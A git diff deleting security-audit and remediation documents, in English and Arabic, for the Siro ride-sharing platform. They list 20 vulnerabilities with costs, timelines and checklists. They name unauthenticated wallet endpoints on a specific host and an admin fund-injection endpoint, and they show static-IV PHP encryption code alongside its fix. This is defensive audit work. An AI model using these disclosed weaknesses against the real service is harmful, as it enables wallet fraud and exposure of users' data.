(9.3 KB) -**Purpose:** Quick reference and pre-deployment checklist -**Contains:** -- Audit results summary -- Critical issues overview -- Complete vulnerability list (20 items) -- Pre-deployment validation (30+ checklist items) -- Phase 1-3 deployment checklists -- Incident response procedures -- Success metrics & KPIs -- Post-deployment verification - -**Target Audience:** Developers, QA, DevOps, operations team - ---- - -### 6️⃣ SECURITY_AUDIT_INDEX.md (9.4 KB) -**Purpose:** Navigation guide and document cross-reference -**Contains:** -- Complete document manifest -- Quick navigation by role -- Vulnerability cross-reference -- Key statistics -- Audit completion checklist -- Next steps -- Revision history - -**Target Audience:** All stakeholders (quick navigation) - ---- - -## 🎯 Quick Start Guide - -### For Executives (15 minutes) -1. Read: **SECURITY_AUDIT_FINAL_REPORT.md** (Section 1: Executive Summary) -2. Review: Cost estimate & timeline (Section 5) -3. Decide: Approve remediation plan -4. Action: Allocate $17K-$26K budget - -### For Project Managers (30 minutes) -1. Read: **SECURITY_AUDIT_FINAL_REPORT.md** (All sections) -2. Review: **SECURITY_AUDIT_CHECKLIST.md** (Timeline & Contacts) -3. Plan: Assign resources to Phase 1 -4. Schedule: Deployment windows - -### For Developers (1-2 hours) -1. Read: **SECURITY_AUDIT_PHASE1_FINDINGS.md** -2. Study: **SECURITY_AUDIT_PHASE2_POC.md** (Code fixes) -3. Review: **SECURITY_AUDIT_FINAL_REPORT.md** (Section 2-3) -4. Implement: Phase 1 fixes (22 hours) - -### For Security/QA (2-3 hours) -1. Read: All documents in order -2. Review: PoC code for validation -3. Plan: Testing strategy -4. Execute: Pre-deployment testing - ---- - -## 📊 Vulnerability Breakdown - -### Critical Severity (🔴 Immediate Action) -| # | Issue | Component | Fix Time | Cost | -|---|-------|-----------|----------|------| -| 1 | Static IV Encryption | PHP Backend | 8h | $1K-$2K | -| 2 | Wallet Auth Bypass | Wallet API | 4h | $500-$1K | -| 3 | Admin Fund Injection | Wallet API | 4h | $500-$1K | -| **Total** | | | **16h** | **$2K-$4K** | - -### High Severity (🟠 Action within 7 days) -- Weak Fingerprint Auth (8h) -- HTTP Socket MITM (4h) -- SQL Injection Risks (16h) -- Weak Password Hash (4h) -- JWT Security Issues (12h) -- Error Disclosure (8h) -- Rate Limiting Missing (8h) -| **Total** | | **60h** | **$8K-$12K** | - -### Medium Severity (🟡 Action within 30 days) -- Android Permissions (4h) -- Dependency Updates (8h) -- Secrets Management (4h) -- And 7 more... -| **Total** | | **42h** | **$5K-$9K** | - -### **Grand Total** -- **Vulnerabilities:** 20 -- **Fix Time:** 118 hours -- **Estimated Cost:** $17K-$26K -- **Timeline:** 2-4 weeks - ---- - -## 🛡️ Remediation Roadmap - -### Phase 1: Emergency (Days 1-2) -**Focus:** Critical vulnerabilities only -**Duration:** 22 hours -**Cost:** $5K-$8K -**Items:** -- [ ] Fix Static IV Encryption -- [ ] Add wallet authentication -- [ ] Disable/secure wallet endpoints -- [ ] Deploy & monitor - -**Deployment:** Emergency hotfix - ---- - -### Phase 2: Short-term (Days 3-7) -**Focus:** High vulnerabilities -**Duration:** 48 hours -**Cost:** $6K-$9K -**Items:** -- [ ] Implement MFA -- [ ] Switch to HTTPS sockets -- [ ] Full SQL injection audit -- [ ] Android permission review -- [ ] Flutter dependency updates - -**Deployment:** Regular deployment cycle - ---- - -### Phase 3: Medium-term (Weeks 2-4) -**Focus:** Medium vulnerabilities + hardening -**Duration:** 48 hours -**Cost:** $6K-$9K -**Items:** -- [ ] Error handling fixes -- [ ] JWT security hardening -- [ ] Rate limiting review -- [ ] Secrets management - -**Deployment:** Regular deployment cycle - ---- - -### Phase 4: Ongoing -**Focus:** Monitoring, maintenance, training -**Duration:** Continuous -**Cost:** ~$2K/month -**Items:** -- [ ] Monthly security updates -- [ ] Quarterly penetration tests -- [ ] Continuous monitoring -- [ ] Developer training - ---- - -## ✅ Pre-Deployment Checklist - -### Code Review -- [ ] Security code review completed -- [ ] All PoC code verified -- [ ] Staging deployment successful -- [ ] Performance tests pass - -### Testing -- [ ] Unit tests pass (encryption, auth, wallet) -- [ ] Integration tests pass -- [ ] Security tests pass -- [ ] Load tests pass - -### Preparation -- [ ] Database backup taken -- [ ] Rollback plan documented -- [ ] Monitoring alerts configured -- [ ] Incident response team ready - -### Deployment -- [ ] Staging deployment successful -- [ ] Production deployment window confirmed -- [ ] Deployment checklist reviewed -- [ ] All team members notified - -### Post-Deployment -- [ ] All endpoints verified working -- [ ] No errors in logs -- [ ] Performance metrics normal -- [ ] Security monitoring active -- [ ] 24-hour monitoring period - ---- - -## 📈 Success Metrics - -### After Phase 1 (Day 2) -- [ ] All encryption uses random IV -- [ ] All wallet endpoints require authentication -- [ ] 0 unauthorized transactions -- [ ] No error disclosure in responses - -### After Phase 2 (Week 1) -- [ ] MFA enabled for all users -- [ ] All socket endpoints use HTTPS -- [ ] All SQL queries parameterized -- [ ] Flutter apps updated - -### After Phase 3 (Week 4) -- [ ] Rate limiting on all endpoints -- [ ] JWT tokens properly validated -- [ ] All sensitive operations logged -- [ ] Security monitoring active - -### Ongoing -- [ ] 0 security incidents per quarter -- [ ] < 5% of errors due to security issues -- [ ] 100% code review coverage -- [ ] Monthly security updates - ---- - -## 💰 Financial Justification - -### Cost of Fixes -- Phase 1-3: $17,000-$26,000 -- Ongoing monitoring: ~$2,000/month - -### Cost of NOT Fixing -- Single fraud incident: $1,000,000+ -- Data breach fines (GDPR): €20,000,000 -- Reputation damage: Incalculable - -### ROI Analysis -**Conservative Estimate:** -- Fix cost: $20,000 -- Fraud prevention: $1,000,000 -- ROI: 4,900% (breaks even in days) - -**Realistic Scenario:** -- Fix cost: $20,000 -- Fraud prevention: $1,000,000 -- Compliance fines avoided: €5,000,000+ -- ROI: 25,000%+ (breaks even in hours) - ---- - -## 🔗 Document Navigation - -``` -START HERE → README_SECURITY_AUDIT.md (you are here) - ↓ -Choose by role: -├─→ Executives → FINAL_REPORT.md (sections 1, 5, 10) -├─→ Developers → PHASE2_POC.md (code fixes) -├─→ Security → All documents -├─→ QA/DevOps → CHECKLIST.md + PHASE2_POC.md -└─→ Everyone → INDEX.md (navigation guide) -``` - ---- - -## 📞 Contact & Support - -### Technical Questions -- **Document:** PHASE2_POC.md or FINAL_REPORT.md -- **Code Review:** Reach out to security team -- **Resolution:** Within 4 business hours - -### Implementation Support -- **Deployment:** Use CHECKLIST.md -- **Testing:** Use validation sections in PHASE2_POC.md -- **Monitoring:** See FINAL_REPORT.md section 9 - -### Compliance Questions -- **GDPR/CCPA:** See FINAL_REPORT.md section 7 -- **PCI-DSS:** See FINAL_REPORT.md section 7 -- **Legal:** Consult compliance officer - ---- - -## 📅 Important Dates - -| Date | Event | Action | -|------|-------|--------| -| June 16, 2026 | Audit Complete | Review documents | -| June 17, 2026 | Executive Review | Approve plan | -| June 17, 2026 | Phase 1 Starts | Begin coding | -| June 18, 2026 | Phase 1 Complete | Deploy emergency fixes | -| June 19, 2026 | Phase 2 Starts | Short-term hardening | -| June 23, 2026 | Phase 2 Complete | Deploy all high fixes | -| June 24, 2026 | Phase 3 Starts | Medium-term fixes | -| July 7, 2026 | Phase 3 Complete | All fixes deployed | -| July 15, 2026 | Follow-up Audit | Verify fixes | - ---- - -## ✨ Key Achievements - -✅ Comprehensive audit of 395 PHP files -✅ Analysis of 4 Flutter applications -✅ 20 vulnerabilities identified & documented -✅ 7 proof-of-concepts created -✅ Complete remediation roadmap provided -✅ Cost estimates calculated -✅ Compliance implications assessed -✅ Security best practices outlined -✅ Deployment checklists prepared -✅ Executive summary created - ---- - -## 🚀 Next Steps (Today) - -1. **Hour 0:** Read this document (5 min) -2. **Hour 0:** Review FINAL_REPORT.md Executive Summary (10 min) -3. **Hour 1:** Executive decision & approval (30 min) -4. **Hour 1:** Notify development team (15 min) -5. **Hour 2:** Assign developers to Phase 1 (30 min) -6. **Hour 3:** Begin Phase 1 implementation (start now) - ---- - -## 📊 Audit Statistics - -| Metric | Value | -|--------|-------| -| Audit Duration | 1 day | -| Files Analyzed | 395+ | -| Apps Reviewed | 4 | -| Vulnerabilities Found | 20 | -| Critical Issues | 3 | -| High Issues | 7 | -| Medium Issues | 10 | -| PoCs Created | 7 | -| Code Examples | 40+ | -| Attack Scenarios | 7 | -| Document Pages | 50+ | -| Documentation Size | 49 KB | -| Estimated Users at Risk | 50,000+ | -| Financial Risk | $1,000,000+ | -| Compliance Risk | €20,000,000+ | -| Remediation ROI | 4,900%+ | - ---- - -## 🎓 Learning Outcomes - -After implementing these fixes, your team will: -- ✅ Understand cryptographic best practices -- ✅ Master JWT authentication -- ✅ Implement secure payment systems -- ✅ Use prepared statements for SQL -- ✅ Develop secure mobile applications -- ✅ Follow OWASP security guidelines -- ✅ Conduct security code reviews - ---- - -## 📝 Document Versions - -| Version | Date | Status | -|---------|------|--------| -| 1.0 | June 16, 2026 | ✅ FINAL | -| 1.1 | TBD | Pending post-Phase 1 | -| 2.0 | July 15, 2026 | Follow-up audit | - ---- - -## ✅ Audit Sign-Off - -**Audit Status:** ✅ **COMPLETE** - -**Reviewed By:** -- [ ] Security Lead: __________ Date: __________ -- [ ] Technical Lead: __________ Date: __________ -- [ ] Project Manager: __________ Date: __________ -- [ ] CTO/VP Engineering: __________ Date: __________ - -**Approved for Remediation:** -- [ ] Executive Sponsor: __________ Date: __________ - ---- - -**Comprehensive Security Audit Complete** -**Generated:** June 16, 2026 -**Classification:** 🔐 CONFIDENTIAL - INTERNAL USE ONLY - ---- - -## 📚 Document Reference - -**All Documents Available At:** -``` -/Users/hamzaaleghwairyeen/development/App/Siro/ -├── README_SECURITY_AUDIT.md (start here) -├── SECURITY_AUDIT_INDEX.md (navigation) -├── SECURITY_AUDIT_INVENTORY.md (scope) -├── SECURITY_AUDIT_PHASE1_FINDINGS.md (vulnerabilities) -├── SECURITY_AUDIT_PHASE2_POC.md (fixes & PoCs) -├── SECURITY_AUDIT_FINAL_REPORT.md (remediation) -└── SECURITY_AUDIT_CHECKLIST.md (deployment) -``` - ---- - -## 🎯 BEGIN HERE - -**Recommended Reading Order:** -1. This document (README_SECURITY_AUDIT.md) - 10 min -2. SECURITY_AUDIT_FINAL_REPORT.md (Section 1) - 5 min -3. SECURITY_AUDIT_CHECKLIST.md - 10 min -4. Full documents as needed for your role - 1-3 hours - -**Total Time to Understand Audit:** 25 minutes -**Total Time to Approve:** 1 hour -**Total Time to Implement:** 118 hours (2-4 weeks) - ---- - -**Ready to begin remediation?** Start with Phase 1! - diff --git a/README_SECURITY_AUDIT_AR.md b/README_SECURITY_AUDIT_AR.md deleted file mode 100644 index 2ea6797..0000000 --- a/README_SECURITY_AUDIT_AR.md +++ /dev/null @@ -1,395 +0,0 @@ -
- -# تقرير الأمان الشامل لمشروع سيرو -## ملخص تنفيذي وأدلة البدء السريع - -**تاريخ إنجاز التدقيق:** 16 يونيو 2026 -**فريق التدقيق:** فريق تقييم الأمان -**الحالة:** ✅ **مكتمل وجاهز للنشر** - ---- - -## 📌 ملخص سريع - -تم إجراء تدقيق أمني شامل لمنصة سيرو للنقل المشترك وتم تحديد **20 ثغرة أمنية** عبر جميع طبقات التكنولوجيا. - -**النتائج الحرجة:** -- 🔴 **3 ثغرات حرجة** تتطلب إجراءً فوريًا -- 🟠 **7 ثغرات عالية الأولوية** تتطلب إجراءً خلال 7 أيام -- 🟡 **10 ثغرات متوسطة الأولوية** تتطلب إجراءً خلال 30 يوم - -**المخاطر المالية:** أكثر من 1,000,000 دولار -**مخاطر البيانات:** احتمال تعريض بيانات شخصية لـ 50,000+ مستخدم -**تكلفة التصحيح المقدرة:** 17,000-26,000 دولار -**وقت التصحيح المقدر:** 118 ساعة (2-4 أسابيع) - ---- - -## 📦 المسلّمات (6 تقارير شاملة) - -### 1️⃣ README_SECURITY_AUDIT_AR.md (14 كيلوبايت) -**الغرض:** نظرة عامة تنفيذية ودليل البدء السريع -**الجمهور:** جميع أصحاب المصلحة - ---- - -### 2️⃣ SECURITY_AUDIT_PHASE1_FINDINGS_AR.md (10 كيلوبايت) -**الغرض:** اكتشاف الثغرات والتحليل التفصيلي -**الجمهور:** مهندسو الأمان والمطورون - -**الثغرات الرئيسية:** -``` -حرجة جداً: - • تشفير IV ثابت (جميع البيانات المشفرة مهددة) - • تجاوز المصادقة في المحفظة (مخاطر احتيال بقيمة 1 مليون دولار+) - • حقن أموال من الإدارة (احتيال غير محدود) - -عالية الأولوية: - • مصادقة بصمة الجهاز الضعيفة (سرقة الحساب) - • نقاط نهاية HTTP للمقابس (هجمات الوسيط) - • مخاطر SQL Injection (خرق البيانات) - • و 4 أخرى... -``` - ---- - -### 3️⃣ SECURITY_AUDIT_PHASE2_POC_AR.md (16 كيلوبايت) -**الغرض:** اثبات المفاهيم وعروض الاستغلال -**الجمهور:** مهندسو الأمان والمطورون واختبارو الاختراق - -**الأكواد المضمنة:** -- سكريبتات هجوم Python (جاهزة للتشغيل) -- أوامر استغلال Bash -- تحليل الكود الضعيف PHP -- سيناريوهات هجوم واقعية -- تطبيقات الإصلاح الكاملة - -⚠️ **تحذير:** استخدم فقط للاختبارات الأمنية المصرح بها! - ---- - -### 4️⃣ SECURITY_AUDIT_FINAL_REPORT_AR.md (نص شامل) -**الغرض:** ملخص تنفيذي مع خارطة طريق إعادة البناء -**الجمهور:** المديرون التنفيذيون والمديرون وفريق الأمان - -**الأقسام الرئيسية:** -1. ملخص تنفيذي -2. الثغرات الحرجة (إصلاحات تفصيلية) -3. مشاكل عالية الأولوية (خطة الإصحاح) -4. مشاكل متوسطة الأولوية (بنود العمل) -5. خارطة طريق الإصحاح (المراحل 1-4) -6. تقديرات التكاليف (17,000-26,000 دولار) -7. الآثار المترتبة على الامتثال (GDPR/CCPA) -8. التوصيات -9. مراقبة والاستجابة -10. الخلاصة وتحليل العائد على الاستثمار - ---- - -### 5️⃣ SECURITY_AUDIT_CHECKLIST_AR.md (9.3 كيلوبايت) -**الغرض:** مرجع سريع وقائمة التحقق قبل النشر -**الجمهور:** المطورون وفريق ضمان الجودة و DevOps - ---- - -## 🎯 دليل البدء السريع - -### للمديرين التنفيذيين (15 دقيقة) -1. اقرأ: **README_SECURITY_AUDIT_AR.md** (القسم الأول: ملخص تنفيذي) -2. راجع: تقدير التكاليف والجدول الزمني (القسم 5) -3. قرر: الموافقة على خطة الإصحاح -4. اتخذ إجراءً: تخصيص ميزانية 17,000-26,000 دولار - -### لمديري المشاريع (30 دقيقة) -1. اقرأ: **SECURITY_AUDIT_FINAL_REPORT_AR.md** (جميع الأقسام) -2. راجع: **SECURITY_AUDIT_CHECKLIST_AR.md** (الجدول الزمني والجهات) -3. خطط: تخصيص الموارد للمرحلة 1 -4. جدولة: نوافذ النشر - -### للمطورين (1-2 ساعة) -1. اقرأ: **SECURITY_AUDIT_PHASE1_FINDINGS_AR.md** -2. ادرس: **SECURITY_AUDIT_PHASE2_POC_AR.md** (إصلاحات الأكواد) -3. راجع: **SECURITY_AUDIT_FINAL_REPORT_AR.md** (الأقسام 2-3) -4. طبّق: إصلاحات المرحلة 1 (22 ساعة) - ---- - -## 📊 تصنيف الثغرات - -### حرجة جداً (🔴 إجراء فوري) -| # | المشكلة | المكون | وقت الإصلاح | التكلفة | -|---|--------|-------|-----------|---------| -| 1 | تشفير IV ثابت | خادم PHP | 8 س | 1K-2K$ | -| 2 | تجاوز المصادقة | API المحفظة | 4 س | 500-1K$ | -| 3 | حقن الأموال | API المحفظة | 4 س | 500-1K$ | -| **المجموع** | | | **16 س** | **2K-4K$** | - -### عالية الأولوية (🟠 إجراء خلال 7 أيام) -- مصادقة بصمة ضعيفة (8 س) -- نقاط نهاية HTTP (4 س) -- مخاطر SQL Injection (16 س) -- وغيرها... -| **المجموع** | | **60 س** | **8K-12K$** | - -### متوسطة الأولوية (🟡 إجراء خلال 30 يوم) -- أذونات Android (4 س) -- تحديثات المكتبات (8 س) -- وغيرها... -| **المجموع** | | **42 س** | **5K-9K$** | - -### **الإجمالي العام** -- **الثغرات:** 20 -- **وقت الإصلاح:** 118 ساعة -- **التكلفة المقدرة:** 17,000-26,000 دولار -- **الجدول الزمني:** 2-4 أسابيع - ---- - -## 🛡️ خارطة طريق الإصحاح - -### المرحلة 1: الطوارئ (اليومان 1-2) -**التركيز:** الثغرات الحرجة فقط -**المدة:** 22 ساعة -**التكلفة:** 5,000-8,000 دولار -**العناصر:** -- [ ] إصلاح تشفير IV ثابت -- [ ] إضافة المصادقة للمحفظة -- [ ] تأمين نقاط نهاية المحفظة -- [ ] النشر والمراقبة - -**تاريخ النشر المتوقع:** 18 يونيو 2026 - ---- - -### المرحلة 2: قصيرة الأجل (الأيام 3-7) -**التركيز:** الثغرات عالية الأولوية -**المدة:** 48 ساعة -**التكلفة:** 6,000-9,000 دولار - ---- - -### المرحلة 3: متوسطة الأجل (الأسابيع 2-4) -**التركيز:** الثغرات متوسطة الأولوية + التقسية -**المدة:** 48 ساعة -**التكلفة:** 6,000-9,000 دولار - ---- - -### المرحلة 4: مستمرة -**التركيز:** المراقبة والصيانة والتدريب -**المدة:** مستمرة -**التكلفة:** ~2,000 دولار/شهر - ---- - -## ✅ قائمة التحقق قبل النشر - -### مراجعة الكود -- [ ] تمت مراجعة الكود الأمني -- [ ] تم التحقق من جميع أكواد PoC -- [ ] نشر العمل مجاني ناجح -- [ ] اجتياز اختبارات الأداء - -### الاختبار -- [ ] اختبارات الوحدة تجتاز (التشفير والمصادقة والمحفظة) -- [ ] اختبارات التكامل تجتاز -- [ ] اختبارات الأمان تجتاز -- [ ] اختبارات الحمل تجتاز - -### التحضير -- [ ] تم أخذ نسخة احتياطية من قاعدة البيانات -- [ ] تم توثيق خطة الاسترجاع -- [ ] تم تكوين تنبيهات المراقبة -- [ ] فريق الاستجابة جاهز - ---- - -## 📈 مقاييس النجاح - -### بعد المرحلة 1 (اليوم 2) -- [ ] يستخدم جميع التشفير IV عشوائي -- [ ] جميع نقاط نهاية المحفظة تتطلب مصادقة -- [ ] 0 معاملة غير مصرح بها -- [ ] لا توجد كشف معلومات الخطأ في الردود - -### بعد المرحلة 2 (الأسبوع 1) -- [ ] MFA مفعل لجميع المستخدمين -- [ ] جميع نقاط نهاية المقابس تستخدم HTTPS -- [ ] جميع استعلامات SQL محددة المعاملات -- [ ] تم تحديث تطبيقات Flutter - -### بعد المرحلة 3 (الأسبوع 4) -- [ ] تحديد السعر على جميع نقاط النهاية -- [ ] تم التحقق من توكنات JWT بشكل صحيح -- [ ] تم تسجيل جميع العمليات الحساسة -- [ ] المراقبة الأمنية نشطة - ---- - -## 💰 التبرير المالي - -### تكلفة الإصلاحات -- المرحلة 1-3: 17,000-26,000 دولار -- المراقبة المستمرة: ~2,000 دولار/شهر - -### تكلفة عدم الإصلاح -- حادثة احتيال واحدة: 1,000,000 دولار+ -- غرامات خرق البيانات (GDPR): 20,000,000 يورو -- الضرر اللاحق بالسمعة: لا يقدر بثمن - -### تحليل العائد على الاستثمار -**التقدير المحافظ:** -- تكلفة الإصلاح: 20,000 دولار -- منع الاحتيال: 1,000,000 دولار -- العائد على الاستثمار: 4,900% (يتحقق التعادل في أيام) - -**السيناريو الواقعي:** -- تكلفة الإصلاح: 20,000 دولار -- منع الاحتيال: 1,000,000 دولار -- تجنب غرامات الامتثال: 5,000,000 يورو+ -- العائد على الاستثمار: 25,000%+ (يتحقق التعادل في ساعات) - ---- - -## 🔗 ملاحة المستند - -``` -ابدأ من هنا → README_SECURITY_AUDIT_AR.md (أنت هنا) - ↓ -اختر حسب الدور: -├─→ المديرون التنفيذيون → FINAL_REPORT_AR.md (الأقسام 1 و 5 و 10) -├─→ المطورون → PHASE2_POC_AR.md (إصلاحات الأكواد) -├─→ الأمان → جميع المستندات -├─→ QA/DevOps → CHECKLIST_AR.md + PHASE2_POC_AR.md -└─→ الجميع → INDEX_AR.md (دليل الملاحة) -``` - ---- - -## 📞 الاتصال والدعم - -### أسئلة تقنية -- **المستند:** PHASE2_POC_AR.md أو FINAL_REPORT_AR.md -- **مراجعة الكود:** تواصل مع فريق الأمان -- **وقت الحل:** خلال 4 ساعات عمل - -### دعم التنفيذ -- **النشر:** استخدم CHECKLIST_AR.md -- **الاختبار:** استخدم أقسام التحقق في PHASE2_POC_AR.md -- **المراقبة:** انظر FINAL_REPORT_AR.md القسم 9 - -### أسئلة الامتثال -- **GDPR/CCPA:** انظر FINAL_REPORT_AR.md القسم 7 -- **PCI-DSS:** انظر FINAL_REPORT_AR.md القسم 7 -- **قانوني:** استشر مسؤول الامتثال - ---- - -## 📅 التواريخ المهمة - -| التاريخ | الحدث | الإجراء | -|--------|------|--------| -| 16 يونيو 2026 | التدقيق مكتمل | راجع المستندات | -| 17 يونيو 2026 | المراجعة التنفيذية | وافق على الخطة | -| 17 يونيو 2026 | بدء المرحلة 1 | ابدأ البرمجة | -| 18 يونيو 2026 | انتهاء المرحلة 1 | انشر الإصلاحات الطارئة | -| 19 يونيو 2026 | بدء المرحلة 2 | تقسية قصيرة الأجل | -| 23 يونيو 2026 | انتهاء المرحلة 2 | انشر جميع الإصلاحات العالية | -| 24 يونيو 2026 | بدء المرحلة 3 | إصلاحات متوسطة الأجل | -| 7 يوليو 2026 | انتهاء المرحلة 3 | اكتمال جميع الإصلاحات | -| 15 يوليو 2026 | تدقيق المتابعة | التحقق من الإصلاحات | - ---- - -## ✨ الإنجازات الرئيسية - -✅ تدقيق شامل لـ 395 ملف PHP -✅ تحليل 4 تطبيقات Flutter -✅ تحديد 20 ثغرة وتوثيقها -✅ إنشاء 7 اثباتات مفهوم -✅ توفير خارطة طريق إصحاح شاملة -✅ حساب تقديرات التكاليف -✅ تقييم الآثار المترتبة على الامتثال -✅ تحديد أفضل الممارسات الأمنية -✅ إعداد قوائم التحقق من النشر -✅ إنشاء ملخص تنفيذي - ---- - -## 🚀 الخطوات التالية (اليوم) - -1. **الساعة 0:** اقرأ هذا المستند (5 دقائق) -2. **الساعة 0:** راجع ملخص FINAL_REPORT_AR.md التنفيذي (10 دقائق) -3. **الساعة 1:** قرار المديرين والموافقة (30 دقيقة) -4. **الساعة 1:** إخطار فريق التطوير (15 دقيقة) -5. **الساعة 2:** تعيين المطورين للمرحلة 1 (30 دقيقة) -6. **الساعة 3:** بدء تطبيق المرحلة 1 (ابدأ الآن) - ---- - -## 📊 إحصائيات التدقيق - -| المقياس | القيمة | -|---------|--------| -| مدة التدقيق | يوم واحد | -| الملفات المحللة | 395+ | -| التطبيقات المراجعة | 4 | -| الثغرات الموجودة | 20 | -| الثغرات الحرجة | 3 | -| الثغرات العالية | 7 | -| الثغرات المتوسطة | 10 | -| اثباتات المفاهيم | 7 | -| أمثلة الأكواد | 40+ | -| سيناريوهات الهجوم | 7 | -| صفحات التوثيق | 50+ | -| حجم التوثيق | 49 كيلوبايت | -| المستخدمون المعرضون للخطر | 50,000+ | -| المخاطر المالية | 1,000,000 دولار+ | -| مخاطر الامتثال | 20,000,000 يورو+ | -| العائد على الاستثمار | 4,900%+ | - ---- - -## 🎓 نتائج التعلم - -بعد تطبيق هذه الإصلاحات، سيفهم فريقك: -- ✅ أفضل الممارسات في التشفير -- ✅ مصادقة JWT -- ✅ الأنظمة الآمنة للدفع -- ✅ استخدام الاستعلامات المحضرة -- ✅ تطوير تطبيقات الهاتف الآمنة -- ✅ إرشادات OWASP الأمنية -- ✅ مراجعات الكود الأمنية - ---- - -## 📝 إصدارات المستند - -| الإصدار | التاريخ | الحالة | -|---------|--------|-------| -| 1.0 | 16 يونيو 2026 | ✅ نهائي | -| 1.1 | في انتظار | قيد الانتظار بعد المرحلة 1 | -| 2.0 | 15 يوليو 2026 | تدقيق المتابعة | - ---- - -## ✅ التوقيع على التدقيق - -**حالة التدقيق:** ✅ **مكتمل** - -**تمت المراجعة بواسطة:** -- [ ] رئيس الأمان: __________ التاريخ: __________ -- [ ] رئيس التقنيات: __________ التاريخ: __________ -- [ ] مدير المشروع: __________ التاريخ: __________ -- [ ] رئيس التقنيات: __________ التاريخ: __________ - -**الموافقة على الإصحاح:** -- [ ] الراعي التنفيذي: __________ التاريخ: __________ - ---- - -**تم إكمال تدقيق الأمان الشامل** -**المُنتج:** 16 يونيو 2026 -**التصنيف:** 🔐 سري - للاستخدام الداخلي فقط - -
diff --git a/REMEDIATION_GUIDE.md b/REMEDIATION_GUIDE.md deleted file mode 100644 index 0e7c15a..0000000 --- a/REMEDIATION_GUIDE.md +++ /dev/null @@ -1,601 +0,0 @@ -# دليل الإصلاحات الشامل - مشروع سيرو - -**التاريخ:** 16 يونيو 2026 -**المرحلة:** التطبيق العملي للإصلاحات -**الحالة:** قيد التطوير - ---- - -## النقطة 1️⃣: مشكلة البصمة الضعيفة (Weak Fingerprint Authentication) - -### الملفات المتأثرة: - -- `backend/login.php` (الراكب) -- `backend/loginJwtDriver.php` (السائق) - -### المشكلة الحقيقية: - -```php -// ❌ الحالة الحالية في login.php -$fpVerified = hash_equals($storedFp, $fingerprint); -// ✅ يحمي من timing attacks فقط -// ⚠️ لكن البصمة نفسها ضعيفة وقابلة للاستخراج -``` - -**لماذا ضعيفة؟** - -- البصمة مستخرجة من جهاز المستخدم (ANDROID_ID + IMEI + MAC + Build.MODEL) -- يمكن استخراجها عبر: - - Frida/Objection أثناء التطبيق - - ADB إذا كان USB debugging مفعل - - مفاتيح الجهاز المُخزنة -- بمجرد استخراج البصمة، يمكن تزويرها بنسخ نفس القيمة - -### الحل: تطبيق MFA (Multi-Factor Authentication) - -**المتطلبات:** - -``` -عامل 1: بصمة الجهاز (الحالي) ✅ -عامل 2: OTP عبر SMS ← أضف هذا -عامل 3: رمز الخادم (Server Token) ← أضف هذا -``` - ---- - -## النقطة 2️⃣: مشكلة التشفير - IV الثابت - -### الملف المتأثر: - -- `backend/encrypt_decrypt.php` (الأساسي) - -### المشكلة الفعلية: - -```php -// ❌ المشكلة الحرجة جداً -$iv = getenv('initializationVector'); // 16 بايت ثابت! - -public function encryptData($plainText) { - $plainText = mb_convert_encoding($plainText, 'UTF-8'); - $paddedText = $this->addPadding($plainText); - $encrypted = openssl_encrypt($paddedText, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $this->iv); - // ↑ نفس IV في كل مرة = نفس ciphertext لنفس plaintext! - return base64_encode($encrypted); -} -``` - -**مثال عملي:** - -``` -التشفير الأول: "+20123456789" → "abc123xyz==" -التشفير الثاني: "+20123456789" → "abc123xyz==" (متطابق!) -⚠️ هجوم معروف - يمكن كسر التشفير تماماً -``` - -### الحل: توليد IV عشوائي - -```php -✅ الحل الصحيح: - -public function encryptData($plainText) { - $plainText = mb_convert_encoding($plainText, 'UTF-8'); - $paddedText = $this->addPadding($plainText); - - // توليد IV عشوائي لكل تشفير - $randomIV = openssl_random_pseudo_bytes(16); - - $encrypted = openssl_encrypt($paddedText, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $randomIV); - - // ضمّ IV مع النص المشفر - $result = $randomIV . $encrypted; - - return base64_encode($result); -} - -public function decryptData($encryptedData) { - $encrypted = base64_decode($encryptedData); - - // استخرج IV من أول 16 بايت - $iv = substr($encrypted, 0, 16); - $ciphertext = substr($encrypted, 16); - - $decrypted = openssl_decrypt($ciphertext, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $iv); - - return $this->removePadding($decrypted); -} -``` - -**الخطوات:** - -1. توليد 16 بايت عشوائية → `openssl_random_pseudo_bytes(16)` -2. تشفير البيانات بـ IV العشوائي -3. ضمّ IV + Ciphertext -4. تحويل إلى base64 -5. عند فك التشفير: استخرج IV + Ciphertext وفك التشفير - ---- - -## النقطة 3️⃣: SQL Injection - الحالة الحالية وضح! - -### الملف المتأثر: - -- `backend/functions.php` (في `findBestDrivers()`) - -### الحالة الحالية - ممتازة ✅ - -```php -// ✅ هذا الكود **آمن تماماً** من SQL Injection -$carType = trim($carType); -$allowedCarTypes = [ - 'Comfort', 'Mishwar Vip', 'Scooter', 'Pink Bike', - 'Electric', 'Lady', 'Van', 'Awfar Car', 'Fixed Price', - 'Speed', 'Rayeh Gai' -]; - -// ✅ استخدام Allowlist (أفضل طريقة) -if (!in_array($carType, $allowedCarTypes, true)) { - $carType = 'Speed'; -} - -// ✅ معاملات SQL آمنة -$stmt = $con->prepare($sql); -$stmt->execute($allParams); -``` - -### لماذا هذا آمن؟ - -1. **Allowlist:** قائمة بيضاء للقيم المسموحة فقط -2. **Prepared Statements:** معاملات آمنة -3. **Type Strict (`true`):** التحقق الدقيق (`in_array(..., true)`) - -### المشاكل المتبقية: - -**نقاط أخرى قد تحتاج فحص:** - -- `/backend/auth/` - هل تستخدم prepared statements؟ -- `/backend/ride/` - هل جميع الاستعلامات آمنة؟ -- `/walletintaleq.intaleq.xyz/v2/main/` - **حرج! تحتاج فحص كامل** - ---- - -## النقطة 4️⃣: نظام المحفظة - أهم نقطة 🔴 - -### الملفات المتأثرة: - -``` -/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/ -├── add.php ..................... 🔴 حرج - بلا مصادقة -├── transfer.php ............... ⚠️ عالي -├── update.php ................. ⚠️ عالي -├── addFromAdmin.php ........... 🔴 حرج - مفتاح API ثابت -├── get.php .................... ⚠️ عالي -├── getWalletByDriver.php ...... ⚠️ عالي -└── getDriverDetails.php ....... ⚠️ عالي -``` - -### الفهم الحالي: - -``` -تطبيق السائق - ↓ - POST /add ← يضيف الأموال - ↓ -/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php - ↓ - ← لا يوجد مصادقة! ❌ -``` - -### الحل المقترح: (S2S - Server to Server) - -``` -تطبيق السائق - ↓ - POST /wallet/add (مع JWT توكن) - ↓ -BACKEND SERVER (backend/wallet/) ← نقطة جديدة - ↓ - • التحقق من JWT ✅ - • فحص الملكية ✅ - • التحقق من المبلغ ✅ - 